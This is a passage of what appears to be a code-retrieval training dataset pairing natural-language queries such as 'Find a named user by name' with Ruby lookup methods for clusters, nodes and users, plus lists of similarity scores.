auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_clusters_cluster_name_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def node(name)\n return node_manager.find(name)\n end",
"def find(name)\n connection_exists?(name) ? @connections[name] : nil\n end",
"def node(name)\n name = name.to_sym\n @nodes.detect{|node|\n node.name == name\n }\n end",
"def clustered_index_by_table_name(table_name)\n data_dictionary.clustered_index_name_by_table_name(table_name)\n end",
"def locate_train(name)\r\n stations.each { |station|\r\n if station.train.to_s.include? name\r\n return station\r\n end\r\n }\r\n end",
"def find name\n object = objects.find { |o| o.name == name.to_s }\n end",
"def get_cluster(arr, clust)\n\t\tcluster_hash = {}\n\t\tarr.each do |strain|\n\t\t\tcluster_hash[strain.name] = strain.clusters[clust]\n\t\tend\n\t\tcluster_hash\n\tend",
"def find(name)\n @boxes.each do |box|\n return box if box.name == name\n end\n\n nil\n end",
"def find(name)\n @boxes.each do |box|\n return box if box.name == name\n end\n\n nil\n end",
"def keyspace(name)\n @keyspaces[name.to_s] || name.to_s\n end",
"def find_by_name(name)\n Textalk::Theme.list.select { |theme| theme.dig(:params, :component) == name }\n end",
"def get_cmdb_ci_by_name\n url = \"#{@service_now_url}/table/cmdb_ci_server?name=#{@name}\"\n\n get_node_data(url)\n end",
"def dot_name_for(node_name)\n @topographer.node_cluster?(node_name) ? \"cluster_#{node_name}\" : node_name\n end",
"def guild_by_name(name)\n @logger.info \"Looking up guild by name [#{name}]\"\n\n id = make_request('findGuild', {\n :byName => name\n })['guild']\n\n guild_by_id id\n end",
"def find_by_name(name)\n # this works because of `def item.=='\n item = @set.find { |c| c == name }\n item\n end",
"def find_by_name(name)\n find do |event|\n event.job_class_name == name.to_s\n end\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def find_by_name(name)\n # self.all.find do |customer|\n # customer.name == name\n # end\n Customer.find_by(name: name)\n end",
"def find_by_name(name = nil, &block)\n all.find { |p| p.name == name.to_s }\n end",
"def get_node_group_by_name(name, environment='production')\n nodes = get_list_of_node_groups\n nodes.each do |node|\n if node['name'] == name && node['environment'] == environment\n return node\n end\n end\n nil # return nil if no matching name found\n end",
"def get_blueprint name\n connection.resource(:get, \"clusters/#{name}?format=blueprint\")\n end",
"def [](name)\n name = name.to_sym\n @nodes.detect { |node| node.name == name }\n end",
"def get_host(name, datacenter, cluster = nil)\n # create a host object to work with\n host_api = VSphereAutomation::VCenter::HostApi.new(api_client)\n raise_if_unauthenticated host_api, \"checking for target host `#{name || \"(any)\"}`\"\n\n hosts = host_api.list({ filter_names: name,\n filter_datacenters: datacenter,\n filter_clusters: cluster,\n filter_connection_states: [\"CONNECTED\"] }).value\n\n raise_if_missing hosts, format(\"Unable to find target host `%s`\", name || \"(any)\")\n\n filter_maintenance!(hosts)\n raise_if_missing hosts, \"Unable to find active target host in datacenter (check maintenance mode?)\"\n\n # Randomize returned hosts\n host = hosts.sample\n debug format(\"Selected host `%s` randomly for deployment\", host.name)\n\n host\n end",
"def get_instance_by_dns_name(dns_name)\n @groups.each_value { |instances|\n instances.each do |instance|\n if instance.dns_name == dns_name\n return instance\n end\n end\n }\n raise \"unknown dns name: #{dns_name}\"\n end",
"def find(key, options = {})\n result = @cluster.client.fetch options.merge(bucket: @name, key: key)\n if result.content.length == 0\n nil\n elsif result.content.length > 1\n # Resolve siblings... some way\n else\n result\n end\n end",
"def node_cluster_id() ; info[:node_cluster] ; end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def find_by_name(catalog_name)\n @request = setup_request \"#{@@resource_url}s\"\n @request.query = { catalogName: catalog_name }\n @request\n end",
"def find_place_by_name(name)\n _places = find_all_places_by_name(name)\n\n # the result shouldn't be ambiguous\n if _places.size > 1\n raise AmbiguousNetQueryResult.new(__method__, name, _places)\n end\n\n return _places.first\n end",
"def __default_cluster_name\n \"elasticsearch-test-#{Socket.gethostname.downcase}\"\n end",
"def get_node_group_by_name(node_group_name, http)\n # Get all node groups from the REST API\n all_node_groups_json = get_rest_api('groups', http)\n all_node_groups_hash = JSON.parse(all_node_groups_json)\n\n # Search the list of node groups for the specified group.\n group = {}\n all_node_groups_hash.each do |g|\n if node_group_name.eql? g['name']\n group = g # found group hash in json response\n next\n end\n end\n\n # If we didn't find the group, something went horribly wrong.\n # Print out a message and exit.\n if group.empty?\n puts \"Node group #{group_name} doesn't exist.\"\n exit 1\n end\n\n # Return the group if we found it.\n group\nend",
"def find_network(name)\n @networks.find { |nw| nw.name == name }\n end",
"def find_key(name)\n logger.debug \"Finding key #{name}\" if @mydebug\n user.keys.each { |key| return key if key.name == name }\n\n raise RHC::KeyNotFoundException.new(\"Key #{name} does not exist\")\n end",
"def match(name)\n query(FindByString: name)\n end",
"def find_stemcell_by_name(name)\n stemcell = list_stemcells.find do |image_name|\n image_name == name\n end\n\n raise Bosh::Clouds::CloudError, \"Given image name '#{name}' does not exist!\" if stemcell.nil?\n stemcell\n end",
"def category(name)\n @categories.find { |c| c.name == name}\n end",
"def find(hostname)\n @environment.containers.find {|cont| cont.hostname.include?(hostname)}\n end",
"def find_by_name(name)\n all.find { |device| name == device.name }\n end",
"def find(name)\n m = match(name)\n m.count == 1 ? m[0] : nil\n end",
"def find_namespace(name = '')\n @namespaces[name]\n end",
"def get_node_by_name(name, options={})\n options[:exactget] ||= {}\n options[:exactget][:name] = name\n ret = get_nodes(options)\n if ret.empty?\n warn \"Cannot find node #{name}\"\n ret = nil\n elsif ret.values.size == 1\n ret = ret.values[0]\n else\n raise \"Multiple nodes returned for #{name}\"\n end\n ret \n end"
] | [
"0.79244137",
"0.7759211",
"0.75588804",
"0.7558487",
"0.7516298",
"0.7463788",
"0.7424275",
"0.6801324",
"0.67808205",
"0.6769736",
"0.66590685",
"0.6637537",
"0.65337664",
"0.64219713",
"0.6371728",
"0.63393897",
"0.63155484",
"0.62539256",
"0.6210004",
"0.6196461",
"0.61446255",
"0.6135604",
"0.60464",
"0.60376704",
"0.60335433",
"0.60057974",
"0.59951144",
"0.5984835",
"0.59614605",
"0.5948052",
"0.5939722",
"0.5936686",
"0.59361684",
"0.5905403",
"0.58763355",
"0.58666414",
"0.5855381",
"0.58324313",
"0.58321136",
"0.5830585",
"0.58244437",
"0.5822222",
"0.5812575",
"0.57851696",
"0.57851696",
"0.5742416",
"0.5738365",
"0.57259685",
"0.57258964",
"0.57208633",
"0.5661868",
"0.565616",
"0.5643207",
"0.56387097",
"0.5636308",
"0.56227136",
"0.55863243",
"0.5581767",
"0.55738646",
"0.5571039",
"0.5555397",
"0.5540557",
"0.5537313",
"0.5537313",
"0.5522629",
"0.55216306",
"0.5518021",
"0.5513658",
"0.5513405",
"0.55075264",
"0.5506463",
"0.548755",
"0.5486462",
"0.54859823",
"0.54842156",
"0.5471878",
"0.54688054",
"0.54550266",
"0.5451779",
"0.5443767",
"0.5439383",
"0.5431791",
"0.5431791",
"0.5431791",
"0.5431791",
"0.5431791",
"0.54278725",
"0.54222095",
"0.5421007",
"0.5411849",
"0.54034483",
"0.5395635",
"0.53803146",
"0.5379295",
"0.53776443",
"0.53774774",
"0.5373928",
"0.5370372",
"0.5369571",
"0.5368364"
] | 0.8380129 | 0 |
Find a cluster by name | def cluster(name = context&.cluster)
named_cluster(name)&.cluster
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def named_cluster(name = context&.cluster)\n return nil if name.nil?\n\n clusters.find { |c| c.name == name }\n end",
"def get_cluster(name)\n cl_obj = Com::Vmware::Vcenter::Cluster.new(vapi_config)\n\n # @todo: Use Cluster::FilterSpec to only get the cluster which was asked\n # filter = Com::Vmware::Vcenter::Cluster::FilterSpec.new(clusters: Set.new(['...']))\n clusters = cl_obj.list.select { |cluster| cluster.name == name }\n raise format(\"Unable to find Cluster: %s\", name) if clusters.empty?\n\n cluster_id = clusters[0].cluster\n cl_obj.get(cluster_id)\n end",
"def cluster name\n Cluster.receive connection.resource(:get, \"clusters/#{name}\")\n end",
"def get_cluster_id(name)\n return if name.nil?\n\n cluster_api = VSphereAutomation::VCenter::ClusterApi.new(api_client)\n raise_if_unauthenticated cluster_api, \"checking for ID of cluster `#{name}`\"\n\n clusters = cluster_api.list({ filter_names: name }).value\n\n raise_if_missing clusters, format(\"Unable to find Cluster: `%s`\", name)\n raise_if_ambiguous clusters, format(\"`%s` returned too many clusters\", name)\n\n clusters.first.cluster\n end",
"def get_cluster(name)\n cluster_id = get_cluster_id(name)\n\n host_api = VSphereAutomation::VCenter::HostApi.new(api_client)\n raise_if_unauthenticated host_api, \"checking for cluster `#{name}`\"\n\n hosts = host_api.list({ filter_clusters: cluster_id, connection_states: \"CONNECTED\" }).value\n filter_maintenance!(hosts)\n raise_if_missing hosts, format(\"Unable to find active hosts in cluster `%s`\", name)\n\n cluster_api = VSphereAutomation::VCenter::ClusterApi.new(api_client)\n cluster_api.get(cluster_id).value\n end",
"def find(name, config, datacenter_name)\n cluster_mob = cluster_mobs[name]\n raise \"Can't find cluster '#{name}'\" if cluster_mob.nil?\n\n cluster_properties = @client.cloud_searcher.get_properties(\n cluster_mob, VimSdk::Vim::ClusterComputeResource,\n Cluster::PROPERTIES, :ensure_all => true\n )\n raise \"Can't find properties for cluster '#{name}'\" if cluster_properties.nil?\n\n Cluster.new(\n config,\n cluster_properties,\n @client,\n datacenter_name,\n )\n end",
"def cluster( name )\n\n return ::Module::Cluster.instance_controller( self ).cluster( name )\n \n end",
"def cluster() node[:cluster_name] ; end",
"def has_cluster?( name )\n \n return ::Module::Cluster.instance_controller( self ).has_cluster?( name )\n \n end",
"def find_by_name(name)\n Discovery.find_by_name(name)\n end",
"def get_node_id_by_name(name, keyname, secret)\n\tget_node_cmd = \"#{node[:zendserver][:zsmanage]} cluster-list-servers -N #{keyname} -K #{secret} -U http://#{node[:hostname]}:10081/ZendServer/\"\n\tp = shell_out(get_node_cmd)\n\tp.stdout.split(/\\n/).grep(/#{name}/)[0].split(/\\t/)[0]\nend",
"def name\n @cluster.name\n end",
"def cluster_config\n Settings.clusters[name]\n end",
"def get_cluster instance_id, cluster_id\n instances.get_cluster name: cluster_path(instance_id, cluster_id)\n end",
"def find_client(cl_name)\n chef_clients.find{|ccl| ccl.name == cl_name }\n end",
"def cluster_by_word_en_name(name)\r\n clusters = Cluster.where(:word_en_name => name).all #modify later, use only recent N clusters\r\n un_clustered_items = Gitem.where(:word_en_name => name, :cluster_id => nil).all\r\n un_clustered_items.each { |item| cluster_item(item, clusters) }\r\n end",
"def cluster_records(name)\n run = @cluster_runs.find { |r| r.get_name == name }\n return nil if run.nil?\n\n run.get_clusters.to_a.sort_by!(&:get_id)\n end",
"def client(name)\n client_to_find = name\n @clients.find {|key, value| key == client_to_find } \n end",
"def find_node_by_name(name)\n @nodes[name]\n end",
"def cluster_for_host(host)\n cluster_id = host['CLUSTER_ID'].to_i\n\n # host without cluster\n return nil if cluster_id == -1\n\n cluster = OpenNebula::Cluster.new(OpenNebula::Cluster.build_xml(cluster_id), @client)\n rc = cluster.info\n check_retval(rc, Errors::ResourceRetrievalError)\n\n cluster\n end",
"def cluster\n OodAppkit.clusters[cluster_id] || raise(ClusterNotFound, \"Session specifies nonexistent '#{cluster_id}' cluster id.\")\n end",
"def find_by_name(name)\n find_by('name', name)\n end",
"def execute(query = {})\n unless query[:region] && query[:cluster_name]\n detected = autodetect_cluster_or_throw\n [:region, :cluster_name].each do |key|\n query[key] = detected[key] if query[key].nil?\n end\n end\n\n cluster = @finder.find(query)\n @stdout.puts(JSON.pretty_generate(cluster.to_hash))\n end",
"def cluster(names)\n persons, companies = partition_by_type(names)\n \n clusterer = SCluster::Clusterer.new(companies, MAX_DISTANCE)\n clusterer.cluster\n \n return clusterer.to_a + [persons]\n end",
"def cluster_ordinations_file(name)\n clustering_files.detect { |file| file.name == name }\n end",
"def find_by_name(name)\n end",
"def get_cluster_by_key\n return @cluster_by\n end",
"def find(name)\n instances.find { |instance| instance.name == (name) }\n end",
"def find(name)\n vertices.each do |vertex|\n return vertex if vertex.name == name\n end\n nil\n end",
"def get_cluster instance_id, cluster_id\n execute do\n instances.get_cluster(\n cluster_path(instance_id, cluster_id)\n )\n end\n end",
"def find(name)\n result = nil\n connect do |conn|\n begin\n conn.search2(dn(name), 0, \"objectclass=*\") do |result|\n # Convert to puppet-appropriate attributes\n return entry2provider(result)\n end\n rescue => detail\n return nil\n end\n end\n end",
"def find_bucket(name)\n buckets.find(\"#{name}\")\n end",
"def create_cluster(name, options = {})\n cluster = Cluster.receive(cluster_name: name, href: File.join('clusters', name))\n cluster.create options\n end",
"def find_node_config_by_name(name)\n @config[:node_configs].find { |config| config[:name] == name }\n end",
"def find(name); end",
"def get_cluster\n if params[:jobcluster] && (OODClusters[params[:jobcluster]] || params[:jobcluster] == 'all')\n params[:jobcluster]\n end\n end",
"def find_vertex(name)\n result = nil\n\n @vertices.each do |v|\n result = v if v.name == name\n end\n\n result\n end",
"def find_node name\n node = ColumnTopologyNode.new(name, @locator)\n node.is_present? ? node : nil\n end",
"def find(name)\n domains = list(100)\n index = domains.index(name)\n domains[index] unless index.nil?\n end",
"def cluster()\n @cluster ||= $ip2cluster[@ip]\n @cluster\n end",
"def node_cluster?(node_name)\n @nodes_graph[node_name][:type] == :cluster || !@nodes_graph[node_name][:includes].empty?\n end",
"def find_node(nd_name)\n chef_nodes.find{|nd| nd.name == nd_name }\n end",
"def cluster_name(cluster)\n server_flavor = cluster[\"flavor\"]\n server_plan = cluster[\"plan\"] || \"free\"\n cluster_name = \"#{service_name}_#{server_flavor}_#{server_plan}\"\n cluster_name.gsub!(/\\W+/, '_')\n cluster_name\n end",
"def client(name)\n @clients[name]\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def find_by_name(name)\n select(\"* FROM groups\")\n .where(\"name = #{name}\")\n end",
"def api_v11_clusters_cluster_name_get_with_http_info(cluster_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_clusters_cluster_name_get ...\"\n end\n \n # verify the required parameter 'cluster_name' is set\n fail \"Missing the required parameter 'cluster_name' when calling api_v11_clusters_cluster_name_get\" if cluster_name.nil?\n \n # resource path\n path = \"/api/v11/clusters/{clusterName}\".sub('{format}','json').sub('{' + 'clusterName' + '}', cluster_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_clusters_cluster_name_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def find_by_name(name)\n return nil unless name.present?\n names.select {|e| e == name}\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def zone_by_name(name)\n zones_by_name(name, 1).find do |zone|\n zone.name == name\n end\n end",
"def get_cluster(arr, clust)\n\t\tcluster_hash = {}\n\t\tarr.each do |strain|\n\t\t\tcluster_hash[strain.name] = strain.clusters[clust]\n\t\tend\n\t\tcluster_hash\n\tend",
"def find_channel(name)\n if name.include? '/'\n sid, cid = name.split('/')\n\n server = discord.servers[sid.to_i]\n server ||= (discord.servers.find { |_i, s| s.name.downcase.tr(' ', '~') == sid.downcase } || [])[1]\n return unless server\n\n chan = server.channels.find { |c| [c.id.to_s, c.name].include? cid }\n return unless chan\n\n DiscordChannelShim.new chan\n else\n chans = channel_list.select { |c| c.name == name }\n if chans.count == 1\n chans.first\n elsif chans.count > 1\n chans\n end\n end\n end",
"def find_channel(name)\n if name.include? '/'\n sid, cid = name.split('/')\n\n server = discord.servers[sid.to_i]\n server ||= (discord.servers.find { |_i, s| s.name.downcase.tr(' ', '~') == sid.downcase } || [])[1]\n return unless server\n\n chan = server.channels.find { |c| [c.id.to_s, c.name].include? cid }\n return unless chan\n\n DiscordChannelShim.new chan\n else\n chans = channel_list.select { |c| c.name == name }\n if chans.count == 1\n chans.first\n elsif chans.count > 1\n chans\n end\n end\n end",
"def find(name)\n list[name]\n end",
"def find(name, options = {})\n client = extract_client!(options)\n\n response = client.get(\"/api/security/groups/#{url_safe(name)}\")\n from_hash(response, client: client)\n rescue Error::HTTPError => e\n raise unless e.code == 404\n\n nil\n end",
"def clustered_index_by_table_name(table_name)\n data_dictionary.clustered_index_name_by_table_name(table_name)\n end",
"def node(name)\n return node_manager.find(name)\n end",
"def cluster_id\n @grpc.name.split(\"/\")[5]\n end",
"def find(key, options = {})\n result = @cluster.client.fetch options.merge(bucket: @name, key: key)\n if result.content.length == 0\n nil\n elsif result.content.length > 1\n # Resolve siblings... some way\n else\n result\n end\n end",
"def get_host( name )\n @hosts[ name ]\n end",
"def find_by_name(name)\n find do |event|\n event.job_class_name == name.to_s\n end\n end",
"def find name\n object = objects.find { |o| o.name == name.to_s }\n end",
"def get_service_by_name(name, space_guid)\n @client.service_instances_by_name(name).find {|srv| srv.space.guid = space_guid }\n end",
"def find(name)\n connection_exists?(name) ? @connections[name] : nil\n end",
"def get_cmdb_ci_by_name\n url = \"#{@service_now_url}/table/cmdb_ci_server?name=#{@name}\"\n\n get_node_data(url)\n end",
"def find_by_name(name)\n # self.all.find do |customer|\n # customer.name == name\n # end\n Customer.find_by(name: name)\n end",
"def locate_train(name)\r\n stations.each { |station|\r\n if station.train.to_s.include? name\r\n return station\r\n end\r\n }\r\n end",
"def cluster\n ElasticSearchHelpers.memoized_cluster\n end",
"def find(name)\n @boxes.each do |box|\n return box if box.name == name\n end\n\n nil\n end",
"def find(name)\n @boxes.each do |box|\n return box if box.name == name\n end\n\n nil\n end",
"def node(name)\n name = name.to_sym\n @nodes.detect{|node|\n node.name == name\n }\n end",
"def node_cluster_id() ; info[:node_cluster] ; end",
"def node_cluster\n @node_cluster ||= client.node_clusters.get_from_uri(info[:node_cluster]) unless info[:node_cluster].nil?\n end",
"def get_host(name, datacenter, cluster = nil)\n # create a host object to work with\n host_api = VSphereAutomation::VCenter::HostApi.new(api_client)\n raise_if_unauthenticated host_api, \"checking for target host `#{name || \"(any)\"}`\"\n\n hosts = host_api.list({ filter_names: name,\n filter_datacenters: datacenter,\n filter_clusters: cluster,\n filter_connection_states: [\"CONNECTED\"] }).value\n\n raise_if_missing hosts, format(\"Unable to find target host `%s`\", name || \"(any)\")\n\n filter_maintenance!(hosts)\n raise_if_missing hosts, \"Unable to find active target host in datacenter (check maintenance mode?)\"\n\n # Randomize returned hosts\n host = hosts.sample\n debug format(\"Selected host `%s` randomly for deployment\", host.name)\n\n host\n end",
"def find_by_name(name)\n # this works because of `def item.=='\n item = @set.find { |c| c == name }\n item\n end",
"def match(name)\n query(FindByString: name)\n end",
"def find_by_name(name = nil, &block)\n all.find { |p| p.name == name.to_s }\n end",
"def find_by_name(catalog_name)\n @request = setup_request \"#{@@resource_url}s\"\n @request.query = { catalogName: catalog_name }\n @request\n end",
"def project_cluster(project, cluster_id)\n get(\"/projects/#{url_encode project}/clusters/#{cluster_id}\")\n end",
"def find_by_name(name)\n Textalk::Theme.list.select { |theme| theme.dig(:params, :component) == name }\n end",
"def set_project_cluster\n @cluster = @project.clusters.find_by!(id: params[:id]) if @project\n end",
"def get_node_group_by_name(name, environment='production')\n nodes = get_list_of_node_groups\n nodes.each do |node|\n if node['name'] == name && node['environment'] == environment\n return node\n end\n end\n nil # return nil if no matching name found\n end",
"def dot_name_for(node_name)\n @topographer.node_cluster?(node_name) ? \"cluster_#{node_name}\" : node_name\n end",
"def detect_cluster\n initialize_metadata\n result = {\n region: @region,\n instance_id: @instance_id,\n cluster_name: nil,\n cluster_role: nil\n }\n\n find_instance_tags.each do |tag|\n if tag[:key] === CLUSTER_TAG_NAME\n result[:cluster_name] = tag[:value]\n elsif tag[:key] === ROLE_TAG_NAME\n result[:cluster_role] = tag[:value].to_sym\n end\n end\n\n if result[:cluster_name].nil? || result[:cluster_role].nil?\n result[:cluster_name] = nil\n result[:cluster_role] = nil\n end\n\n result\n end",
"def get_blueprint name\n connection.resource(:get, \"clusters/#{name}?format=blueprint\")\n end",
"def find_network(name)\n @networks.find { |nw| nw.name == name }\n end",
"def channel\n @clusters = Cluster.where(:word_en_name => params[:name]).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clusters }\n end\n end",
"def find_stemcell_by_name(name)\n stemcell = list_stemcells.find do |image_name|\n image_name == name\n end\n\n raise Bosh::Clouds::CloudError, \"Given image name '#{name}' does not exist!\" if stemcell.nil?\n stemcell\n end",
"def find_place_by_name(name)\n _places = find_all_places_by_name(name)\n\n # the result shouldn't be ambiguous\n if _places.size > 1\n raise AmbiguousNetQueryResult.new(__method__, name, _places)\n end\n\n return _places.first\n end",
"def find_key(name)\n logger.debug \"Finding key #{name}\" if @mydebug\n user.keys.each { |key| return key if key.name == name }\n\n raise RHC::KeyNotFoundException.new(\"Key #{name} does not exist\")\n end",
"def get_node_by_name(name, options={})\n options[:exactget] ||= {}\n options[:exactget][:name] = name\n ret = get_nodes(options)\n if ret.empty?\n warn \"Cannot find node #{name}\"\n ret = nil\n elsif ret.values.size == 1\n ret = ret.values[0]\n else\n raise \"Multiple nodes returned for #{name}\"\n end\n ret \n end",
"def client_by_name(client_name, options={})\n params = {\n :klass => Invoicexpress::Models::Client,\n :client_name => client_name\n }\n\n get(\"clients/find-by-name.xml\", params.merge(options))\n end",
"def guild_by_name(name)\n @logger.info \"Looking up guild by name [#{name}]\"\n\n id = make_request('findGuild', {\n :byName => name\n })['guild']\n\n guild_by_id id\n end",
"def get_instance_by_dns_name(dns_name)\n @groups.each_value { |instances|\n instances.each do |instance|\n if instance.dns_name == dns_name\n return instance\n end\n end\n }\n raise \"unknown dns name: #{dns_name}\"\n end",
"def find( name )\n @commands.find { |klass| klass.command_name == name }\n end",
"def keyspace(name)\n @keyspaces[name.to_s] || name.to_s\n end"
] | [
"0.8285214",
"0.8115064",
"0.78248966",
"0.7667901",
"0.76495326",
"0.76398593",
"0.7542365",
"0.683601",
"0.67828536",
"0.6754309",
"0.6634648",
"0.6632071",
"0.65470505",
"0.654123",
"0.6528684",
"0.63668334",
"0.63610303",
"0.6305505",
"0.63053066",
"0.62797326",
"0.6263712",
"0.61956906",
"0.6166953",
"0.6158676",
"0.61315614",
"0.612536",
"0.60900885",
"0.60859203",
"0.60532093",
"0.60237956",
"0.6013298",
"0.597822",
"0.5961131",
"0.59550536",
"0.593481",
"0.59275985",
"0.5867688",
"0.5849579",
"0.58473897",
"0.5844084",
"0.58424634",
"0.5779977",
"0.5777641",
"0.577136",
"0.5756295",
"0.57473",
"0.5741578",
"0.57216626",
"0.5717649",
"0.5717649",
"0.5717649",
"0.5717649",
"0.5717649",
"0.57002664",
"0.56962717",
"0.56905067",
"0.56905067",
"0.56819636",
"0.5670673",
"0.56407106",
"0.5629114",
"0.56265277",
"0.56076276",
"0.56021446",
"0.5585541",
"0.557212",
"0.55701274",
"0.5561458",
"0.5560731",
"0.55542135",
"0.5551376",
"0.55457157",
"0.5522883",
"0.5522883",
"0.55159605",
"0.55092895",
"0.5495472",
"0.548941",
"0.54824835",
"0.54537344",
"0.54525083",
"0.5444206",
"0.544059",
"0.5436375",
"0.5425978",
"0.5425068",
"0.5423714",
"0.5422573",
"0.5418125",
"0.5416274",
"0.54090565",
"0.5404209",
"0.5403344",
"0.53928393",
"0.53850526",
"0.53795815",
"0.5367503",
"0.5355741",
"0.53553283",
"0.5349323"
] | 0.75881004 | 6 |
Find a named user by name | def named_user(name = context&.user)
return nil if name.nil?
users.find { |c| c.name == name }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find_user(name) \n \n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n query_result = @rally.find(:user, :fetch => true, :pagesize => 100) { equal :login_name, name.downcase }\n \n if query_result.total_result_count == 0\n return nil\n else\n return query_result.results.first\n end\n end",
"def look_for_user(name)\n User.find_by name: name\nend",
"def user_by_name(name)\n @users[name]\n end",
"def find_user(name)\n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n\n if @cached_users.has_key?(name.downcase)\n return @cached_users[name.downcase]\n end\n\n single_user_query = RallyAPI::RallyQuery.new()\n single_user_query.type = :user\n single_user_query.fetch = @detail_user_fetch\n single_user_query.page_size = 200 #optional - default is 200\n single_user_query.limit = 90000 #optional - default is 99999\n single_user_query.order = \"UserName Asc\"\n single_user_query.query_string = \"(UserName = \\\"\" + name + \"\\\")\"\n\n query_results = @rally.find(single_user_query)\n\n if query_results.total_result_count == 0\n return nil\n else\n # Cache user for use next time\n this_user = query_results.first\n @cached_users[this_user[\"UserName\"].downcase] = this_user\n @logger.info \"Caching User: #{this_user.UserName}\"\n\n return this_user\n end\n end",
"def get_user(name)\n User.where(name:).first\n end",
"def get_user(name)\n @model.find_by(name: name)\n end",
"def find(name)\n @users.fetch(name)\n end",
"def findUserByVanityName(name)\n method = 'findUser'\n type = User\n args = {:vanityName=>name}\n return_object type,method,args\n end",
"def find_user_byname(username)\n @user = User.where(username: username)\n end",
"def find_by_username\n User.find_by_username(@username_or_id)\n end",
"def find_user(name)\n return [] if APP_CONFIG.disabled?(\"ldap\")\n\n configuration = ::Portus::LDAP::Configuration.new(user: { username: name })\n connection = initialized_adapter\n search_admin_or_user(connection, configuration)\n rescue ::Net::LDAP::Error => e\n Rails.logger.tagged(:ldap) { Rails.logger.warn \"Connection error: #{e.message}\" }\n []\n end",
"def find_by_username!\n User.find_by_username!(@username_or_id)\n end",
"def find_uiby_username(uname)\n User.all.find do |user|\n if user.username == uname \n user \n end\n end\n end",
"def find_user\n results = @ldap.search( :base => options[:ldap][:base], :filter => user_filter)\n return results.first\n end",
"def get_user(name, user_list = users)\n return member(name) if name.instance_of?(GoodData::Membership)\n return member(name) if name.instance_of?(GoodData::Profile)\n name = name.is_a?(Hash) ? name[:login] || name[:uri] : name\n return nil unless name\n name.downcase!\n user_list.find do |user|\n user.uri && user.uri.downcase == name ||\n user.login && user.login.downcase == name\n end\n end",
"def get_user(name, user_list = users)\n return name if name.instance_of?(GoodData::Membership)\n name.downcase!\n user_list.each do |user|\n return user if user.uri.downcase == name ||\n user.login.downcase == name ||\n user.email.downcase == name\n end\n nil\n end",
"def get_user_by_username(name)\n resp = request('getUserByUsername', {:username => name})['user']\n resp['username'].empty? ? nil : User.new(self, resp)\n end",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(name, login)\n end",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(name, login)\n end",
"def find_user_byname(username)\n # accept a username input parameter\n # use the User Model class to find all Users with the supplied username. \n # NOTE: Username is not unique in the Users table, thus you can have many users with the same username.\n # return a collection of User instances that match the provided username\n @user_names = User.where(:username => username)\n @user_names\n end",
"def find_user\n @user = User.with_username(params[:id]).first\n end",
"def get_user(username, users)\n puts \"Searching for user '#{username}'\"\n users.each do |user|\n return user if user[:username] == username\n end\n puts \"User #{username} not found!\"\n return nil\n end",
"def find_user_by_username(username, params = {})\n params.merge!(username: username)\n users(params).first\n end",
"def find_user(alias_, nickname=nil)\n if nickname && ['me', 'i', 'my'].include?(alias_)\n alias_ = nickname\n end\n user = @users.get(alias_)\n raise Pagerbot::UserNotFoundError.new(\"I don't know who #{alias_} is.\") unless user\n return user\n end",
"def find_users_by_name(**args)\n params = parameters(args) do\n required_params :term\n optional_params :term, :search_by_email\n end\n request(:get, 'users/find', params)\n end",
"def find user_name\n response = @client.action \"DescribeUser\", \"Name\" => user_name\n\n Response::User.new response.body['DescribeUserResponse']\n rescue Hugs::Errors::BadRequest\n end",
"def user(id_or_username = \"my\", params = {})\n if id_or_username.is_a?(Fixnum) || id_or_username == 'my'\n find_user_by_id id_or_username, params\n else\n find_user_by_username id_or_username, params\n end\n end",
"def real_user(name)\n if User.anonymized_view?(session[:ip])\n user = User.real_user_from_anonymized_name(name)\n else\n user = User.find_by(name: name)\n end\n return user\n end",
"def find(nick)\n @users.find { |u| u.nick.downcase == nick.downcase }\n end",
"def find_by_id!\n User.find(@username_or_id)\n end",
"def find_by_id\n User.find_by_id(@username_or_id)\n end",
"def checkUser(userName)\n @users = User.all\n @users.each do |user|\n if user[\"userName\"] == userName\n return user\n end\n end\n return false\n end",
"def [](name)\n handle = system.run(:search, \"user\", name, nil, @keyring)\n return nil if handle == -1\n\n system.get(:read, handle)\n end",
"def find_by_username(username)\n find_by(username: username.downcase)\n end",
